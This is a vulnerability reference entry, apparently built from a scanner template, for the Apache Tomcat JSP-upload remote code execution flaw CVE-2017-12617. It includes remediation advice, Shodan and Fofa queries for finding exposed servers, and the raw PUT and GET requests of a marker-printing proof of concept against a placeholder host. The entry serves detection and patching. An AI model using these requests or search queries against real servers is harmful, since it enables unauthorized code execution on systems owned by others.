| Title | Apache Tomcat - Remote Code Execution |
|---|---|
| Author | pussycat0x |
| Severity | High |
| Impact | Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected server. |
| Remediation | Upgrade to Apache Tomcat version 7.0.80 or later to mitigate this vulnerability. |
| CVSS Score | 8.1 |
| EPSS Score | 0.94356 |
| CVE ID | CVE-2017-12617 |
| CWE ID | CWE-434 |
| Shodan Query | html:"Apache Tomcat"http.title:"apache tomcat"http.html:"apache tomcat"cpe:"cpe:2.3:a:apache:tomcat" |
| Fofa Query | body="apache tomcat"title="apache tomcat" |
| Tags | cve2017 cve tomcat apache rce kev intrusive vkev vuln |
When running Apache Tomcat versions 9.0.0.M1 to 9.0.0, 8.5.0 to 8.5.22, 8.0.0.RC1 to 8.0.46 and 7.0.0 to 7.0.81 with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default servlet to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server.
PUT /38FefzMg3zCiMMT2EUSatG3AALG.jsp/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Length: 35
Accept-Encoding: gzip
<% out.println("CVE-2017-12617");%>
GET /38FefzMg3zCiMMT2EUSatG3AALG.jsp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.9 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-12617.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-12617.pcap
N/AN/A